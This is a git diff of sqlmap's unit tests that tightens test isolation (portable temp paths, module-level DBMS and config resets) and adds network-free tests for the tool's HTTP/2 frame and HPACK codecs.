@ -25,10 +25,11 @@ logic fails the test. No live target / network / DBMS involved.
|
|||
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
|
|
@ -108,7 +109,7 @@ class TestGenericFilesystem(_FsBase):
|
|||
def test_fileEncode_reads_then_encodes(self):
|
||||
# fileEncode must read the file bytes and delegate to fileContentEncode
|
||||
path = os.path.join(
|
||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid())
|
||||
tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid())
|
||||
with open(path, "wb") as f:
|
||||
f.write(b"hello")
|
||||
try:
|
||||
|
|
@ -138,7 +139,7 @@ class TestGenericFilesystem(_FsBase):
|
|||
# MySQL builds LENGTH(LOAD_FILE('<remote>')) and compares to local size.
|
||||
set_dbms("MySQL")
|
||||
path = os.path.join(
|
||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid())
|
||||
tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid())
|
||||
with open(path, "wb") as f:
|
||||
f.write(b"12345") # 5 bytes
|
||||
captured = {}
|
||||
|
|
@ -159,7 +160,7 @@ class TestGenericFilesystem(_FsBase):
|
|||
def test_checkFileLength_size_differs(self):
|
||||
set_dbms("MySQL")
|
||||
path = os.path.join(
|
||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid())
|
||||
tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid())
|
||||
with open(path, "wb") as f:
|
||||
f.write(b"12345") # local 5
|
||||
self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9")
|
||||
|
|
@ -176,7 +177,7 @@ class TestGenericFilesystem(_FsBase):
|
|||
# OPENROWSET-building branch runs in isolation.
|
||||
set_dbms("Microsoft SQL Server")
|
||||
path = os.path.join(
|
||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid())
|
||||
tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid())
|
||||
with open(path, "wb") as f:
|
||||
f.write(b"ABCD") # 4 bytes
|
||||
stacked = []
|
||||
|
|
@ -205,7 +206,7 @@ class TestGenericFilesystem(_FsBase):
|
|||
# non-positive remote size -> treated as "not written" -> sameFile False
|
||||
set_dbms("MySQL")
|
||||
path = os.path.join(
|
||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid())
|
||||
tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid())
|
||||
with open(path, "wb") as f:
|
||||
f.write(b"x")
|
||||
self.patch(self.module.inject, "getValue", lambda q, *a, **k: None)
|
||||
|
|
@ -282,7 +283,7 @@ class TestGenericFilesystem(_FsBase):
|
|||
# stackedWriteFile and return its result.
|
||||
set_dbms("MySQL")
|
||||
path = os.path.join(
|
||||
os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid())
|
||||
tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid())
|
||||
with open(path, "wb") as f:
|
||||
f.write(b"data")
|
||||
calls = {}
|
||||
|
|
@ -733,3 +734,7 @@ class TestUDF(_FsBase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
|
|
@ -93,12 +93,18 @@ class TestFingerprint(unittest.TestCase):
|
|||
conf.batch = True
|
||||
conf.extensiveFp = False
|
||||
conf.api = False
|
||||
# _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`),
|
||||
# so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide
|
||||
import lib.request.inject as _inject
|
||||
self._inject = _inject
|
||||
self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression)
|
||||
|
||||
def tearDown(self):
|
||||
for k, v in self._saved.items():
|
||||
conf[k] = v
|
||||
for k, v in self._kb.items():
|
||||
kb[k] = v
|
||||
self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved
|
||||
|
||||
def _drive(self, name, modpath, pkg, oracle):
|
||||
set_dbms(name)
|
||||
|
|
@ -201,3 +207,7 @@ for _name, _mod, _pkg in TARGETS:
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -26,7 +26,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
|
||||
bootstrap()
|
||||
|
||||
|
|
@ -599,3 +599,7 @@ class TestTakeover(_GenericBase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -246,6 +246,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
|||
|
||||
def setUp(self):
|
||||
self._gql = gi._gqlSend
|
||||
self._conf = gi.conf
|
||||
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
||||
|
||||
pages = {"true": MATCH, "false": NOMATCH}
|
||||
|
|
@ -259,6 +260,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
|
|||
|
||||
def tearDown(self):
|
||||
gi._gqlSend = self._gql
|
||||
gi.conf = self._conf
|
||||
|
||||
def test_boolean_detected(self):
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
|
|
@ -277,6 +279,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
|
|||
|
||||
def setUp(self):
|
||||
self._gql = gi._gqlSend
|
||||
self._conf = gi.conf
|
||||
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
||||
|
||||
def fakeSend(endpoint, query, variables=None):
|
||||
|
|
@ -287,6 +290,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
|
|||
|
||||
def tearDown(self):
|
||||
gi._gqlSend = self._gql
|
||||
gi.conf = self._conf
|
||||
|
||||
def test_error_detected(self):
|
||||
slot = _slot("query", "Query", "user", "username", "string")
|
||||
|
|
@ -372,10 +376,12 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase):
|
|||
|
||||
def setUp(self):
|
||||
self._gql = gi._gqlSend
|
||||
self._conf = gi.conf
|
||||
gi.conf = type("C", (), {"url": "http://test/graphql"})()
|
||||
|
||||
def tearDown(self):
|
||||
gi._gqlSend = self._gql
|
||||
gi.conf = self._conf
|
||||
|
||||
def test_fallback_without_specifiedByURL(self):
|
||||
calls = []
|
||||
|
|
|
|||
283
tests/test_http2.py
Normal file
283
tests/test_http2.py
Normal file
|
|
@ -0,0 +1,283 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in
|
||||
lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer /
|
||||
Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table),
|
||||
and the urllib-compatible H2Response wrapper.
|
||||
|
||||
Nothing here opens a socket or negotiates TLS - only the deterministic codecs and
|
||||
the response adapter are exercised. Known vectors are the canonical RFC 7541
|
||||
examples; everything else is a round-trip / invariant check.
|
||||
|
||||
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
||||
"""
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
bootstrap()
|
||||
|
||||
from lib.request.http2 import (
|
||||
Decoder,
|
||||
Encoder,
|
||||
H2Response,
|
||||
REDIRECT_CODES,
|
||||
STATIC_LEN,
|
||||
STATIC_TABLE,
|
||||
DATA,
|
||||
HEADERS,
|
||||
FLAG_END_HEADERS,
|
||||
FLAG_END_STREAM,
|
||||
decode_frame_header,
|
||||
decode_integer,
|
||||
decode_string,
|
||||
encode_frame,
|
||||
encode_integer,
|
||||
encode_string,
|
||||
huffman_decode,
|
||||
huffman_encode,
|
||||
)
|
||||
|
||||
|
||||
def _b(*ints):
|
||||
# build a bytes object from ints (identical on Python 2 and 3)
|
||||
return bytes(bytearray(ints))
|
||||
|
||||
|
||||
class TestFrameCodec(unittest.TestCase):
|
||||
def test_roundtrip(self):
|
||||
header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9]
|
||||
self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1))
|
||||
|
||||
def test_payload_is_appended_verbatim(self):
|
||||
frame = encode_frame(DATA, 0, 1, b"hello")
|
||||
self.assertEqual(frame[9:], b"hello")
|
||||
|
||||
def test_reserved_stream_bit_is_masked(self):
|
||||
# the high (reserved) bit of the 31-bit stream id must be dropped on both ends
|
||||
header = encode_frame(DATA, 0, 0x80000001, b"")[:9]
|
||||
self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1))
|
||||
|
||||
def test_zero_length_payload(self):
|
||||
header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9]
|
||||
length, _, flags, _ = decode_frame_header(header)
|
||||
self.assertEqual(length, 0)
|
||||
self.assertEqual(flags, FLAG_END_STREAM)
|
||||
|
||||
def test_oversized_payload_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1))
|
||||
|
||||
def test_bad_header_length_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
decode_frame_header(b"123")
|
||||
|
||||
|
||||
class TestIntegerCoding(unittest.TestCase):
|
||||
def test_rfc_c11_small(self):
|
||||
# RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix
|
||||
self.assertEqual(list(encode_integer(10, 5)), [10])
|
||||
|
||||
def test_rfc_c12_multibyte(self):
|
||||
# RFC 7541 C.1.2: 1337 with a 5-bit prefix
|
||||
self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10])
|
||||
self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3))
|
||||
|
||||
def test_rfc_c13_full_byte_prefix(self):
|
||||
# RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary)
|
||||
self.assertEqual(list(encode_integer(42, 8)), [42])
|
||||
|
||||
def test_roundtrip_across_prefixes(self):
|
||||
for prefix in (4, 5, 6, 7, 8):
|
||||
for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000):
|
||||
encoded = bytearray(encode_integer(value, prefix))
|
||||
decoded, pos = decode_integer(encoded, 0, prefix)
|
||||
self.assertEqual(decoded, value)
|
||||
self.assertEqual(pos, len(encoded))
|
||||
|
||||
def test_first_byte_bits_preserved(self):
|
||||
# a caller-supplied opcode in the high bits must survive a small value
|
||||
self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5)
|
||||
|
||||
|
||||
class TestHuffman(unittest.TestCase):
|
||||
def test_known_vector_www_example_com(self):
|
||||
# RFC 7541 C.4.1
|
||||
self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff")
|
||||
|
||||
def test_empty(self):
|
||||
self.assertEqual(huffman_encode(b""), b"")
|
||||
self.assertEqual(huffman_decode(b""), b"")
|
||||
|
||||
def test_roundtrip(self):
|
||||
for sample in (b"a", b"hello world", b"/index.html?a=1&b=2",
|
||||
b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
|
||||
bytes(bytearray(range(256)))):
|
||||
self.assertEqual(huffman_decode(huffman_encode(sample)), sample)
|
||||
|
||||
def test_shrinks_typical_text(self):
|
||||
sample = b"www.example.com"
|
||||
self.assertLess(len(huffman_encode(sample)), len(sample))
|
||||
|
||||
def test_padding_too_long_rejected(self):
|
||||
# 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding
|
||||
with self.assertRaises(ValueError):
|
||||
huffman_decode(_b(0xFE))
|
||||
|
||||
|
||||
class TestStringCoding(unittest.TestCase):
|
||||
def test_huffman_branch_roundtrip(self):
|
||||
encoded = encode_string(b"custom-value")
|
||||
self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text
|
||||
self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded)))
|
||||
|
||||
def test_literal_branch_when_huffman_would_not_shrink(self):
|
||||
encoded = encode_string(_b(0xFF))
|
||||
self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string
|
||||
self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded)))
|
||||
|
||||
def test_disable_huffman(self):
|
||||
encoded = encode_string(b"abc", huffman=False)
|
||||
self.assertFalse(bytearray(encoded)[0] & 0x80)
|
||||
self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded)))
|
||||
|
||||
|
||||
class TestHpackDecoder(unittest.TestCase):
|
||||
def test_indexed_static_entries(self):
|
||||
# 0x82/0x86/0x84 -> static indices 2, 6, 4
|
||||
self.assertEqual(
|
||||
Decoder().decode(_b(0x82, 0x86, 0x84)),
|
||||
[(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")],
|
||||
)
|
||||
|
||||
def test_static_lookup_bounds(self):
|
||||
d = Decoder()
|
||||
self.assertEqual(d._get(1), (b":authority", b""))
|
||||
self.assertEqual(d._get(2), (b":method", b"GET"))
|
||||
self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1])
|
||||
|
||||
def test_index_zero_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
Decoder()._get(0)
|
||||
|
||||
def test_index_out_of_range_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet
|
||||
|
||||
def test_literal_incremental_indexing_populates_dynamic_table(self):
|
||||
# 0x40 = literal with incremental indexing, new name
|
||||
block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value")
|
||||
d = Decoder()
|
||||
self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")])
|
||||
# entry is now addressable at the first dynamic index (STATIC_LEN + 1)
|
||||
self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value"))
|
||||
self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value"))
|
||||
|
||||
def test_literal_without_indexing_does_not_touch_dynamic_table(self):
|
||||
block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v")
|
||||
d = Decoder()
|
||||
self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")])
|
||||
self.assertEqual(d.dynamic, [])
|
||||
|
||||
def test_dynamic_table_eviction(self):
|
||||
d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36
|
||||
d._add(b"aa", b"bb")
|
||||
self.assertEqual(len(d.dynamic), 1)
|
||||
d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted
|
||||
self.assertEqual(d.dynamic, [(b"cc", b"dd")])
|
||||
self.assertEqual(d._size, 36)
|
||||
|
||||
def test_dynamic_size_update_clears(self):
|
||||
d = Decoder()
|
||||
d._add(b"x", b"y")
|
||||
d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0
|
||||
self.assertEqual(d.max_size, 0)
|
||||
self.assertEqual(d.dynamic, [])
|
||||
|
||||
|
||||
class TestHpackEncoderRoundTrip(unittest.TestCase):
|
||||
def test_roundtrip_through_decoder(self):
|
||||
headers = [
|
||||
(b":method", b"GET"),
|
||||
(b":scheme", b"https"),
|
||||
(b":path", b"/a/b?c=d"),
|
||||
(b":authority", b"example.com"),
|
||||
(b"user-agent", b"sqlmap"),
|
||||
(b"accept", b""), # empty value
|
||||
(b"x-custom", b"\x00\x01\xff"), # non-ASCII value
|
||||
]
|
||||
self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers)
|
||||
|
||||
def test_encoder_output_is_bytes(self):
|
||||
self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes)
|
||||
|
||||
|
||||
class TestH2Response(unittest.TestCase):
|
||||
def _make(self, status=200, headers=None, body=b"body"):
|
||||
headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")]
|
||||
return H2Response("https://target/x", status, headers, body)
|
||||
|
||||
def test_basic_fields(self):
|
||||
r = self._make()
|
||||
self.assertEqual(r.code, 200)
|
||||
self.assertEqual(r.status, 200)
|
||||
self.assertEqual(r.msg, "OK")
|
||||
self.assertEqual(r.http_version, "HTTP/2.0")
|
||||
self.assertEqual(r.geturl(), "https://target/x")
|
||||
|
||||
def test_unknown_status_message(self):
|
||||
self.assertEqual(self._make(status=799).msg, "")
|
||||
|
||||
def test_pseudo_headers_stripped(self):
|
||||
r = self._make()
|
||||
self.assertNotIn(":status", r.info())
|
||||
self.assertEqual(r.info().get("content-type"), "text/html")
|
||||
|
||||
def test_read_full_then_empty(self):
|
||||
r = self._make(body=b"hello")
|
||||
self.assertEqual(r.read(), b"hello")
|
||||
self.assertEqual(r.read(), b"") # offset exhausted
|
||||
|
||||
def test_read_in_chunks(self):
|
||||
r = self._make(body=b"abcdef")
|
||||
self.assertEqual(r.read(2), b"ab")
|
||||
self.assertEqual(r.read(3), b"cde")
|
||||
self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder
|
||||
self.assertEqual(r.read(10), b"")
|
||||
|
||||
def test_str_header_names_accepted(self):
|
||||
# headers may arrive already decoded to str (not only bytes)
|
||||
r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}")
|
||||
self.assertEqual(r.info().get("content-type"), "application/json")
|
||||
|
||||
def test_mimetools_style_headers_list(self):
|
||||
# patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present
|
||||
r = self._make()
|
||||
self.assertTrue(hasattr(r.info(), "headers"))
|
||||
self.assertIn("content-type: text/html\r\n", r.info().headers)
|
||||
|
||||
def test_close_is_noop(self):
|
||||
self.assertIsNone(self._make().close())
|
||||
|
||||
|
||||
class TestConstants(unittest.TestCase):
|
||||
def test_redirect_codes(self):
|
||||
for code in (301, 302, 303, 307, 308):
|
||||
self.assertIn(code, REDIRECT_CODES)
|
||||
self.assertNotIn(200, REDIRECT_CODES)
|
||||
|
||||
def test_static_table_length(self):
|
||||
self.assertEqual(STATIC_LEN, len(STATIC_TABLE))
|
||||
self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
|
@ -13,7 +13,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue
|
||||
|
|
@ -83,3 +83,7 @@ class TestSafeCSValue(unittest.TestCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -24,7 +24,7 @@ import sys
|
|||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
|
|
@ -151,3 +151,7 @@ class TestSearchIsLogarithmic(_EngineCase):
|
|||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||
|
|
|
|||
|
|
@ -16,6 +16,21 @@ bootstrap()
|
|||
|
||||
import lib.techniques.ldap.inject as ldap
|
||||
|
||||
# several setUps here write these conf keys without restoring them; snapshot/restore at the module
|
||||
# boundary so they can't leak into later test modules (order-dependent flakiness)
|
||||
_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel")
|
||||
_saved_conf = {}
|
||||
|
||||
def setUpModule():
|
||||
from lib.core.data import conf
|
||||
for k in _LDAP_CONF_KEYS:
|
||||
_saved_conf[k] = conf.get(k)
|
||||
|
||||
def tearDownModule():
|
||||
from lib.core.data import conf
|
||||
for k, v in _saved_conf.items():
|
||||
conf[k] = v
|
||||
|
||||
# --- Helpers ----------------------------------------------------------------
|
||||
|
||||
SENTINEL = ldap.SENTINEL
|
||||
|
|
|
|||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue